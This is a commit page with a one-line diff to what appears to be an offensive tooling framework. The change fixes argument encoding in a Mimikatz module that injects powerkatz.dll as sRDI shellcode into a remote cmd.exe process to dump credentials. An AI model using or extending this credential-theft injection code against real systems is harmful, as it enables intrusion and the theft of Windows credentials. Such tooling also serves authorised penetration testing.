fix mimikatz dll module

This commit is contained in:
antonioCoco
2021-09-19 15:47:15 +02:00
parent 29a69d76e3
commit 0a0462ffa7
+1 -1
View File
@@ -127,7 +127,7 @@ class Mimikatz(Module):
dll_name = 'powerkatz.dll'
exported_function_name = 'powershell_reflective_mimikatz'
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
exported_function_data = '"log ' + log_file + '" ' + custom_command
exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
if username == '':
print ('\n\nInjecting converted DLL shellcode into remote process...')
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',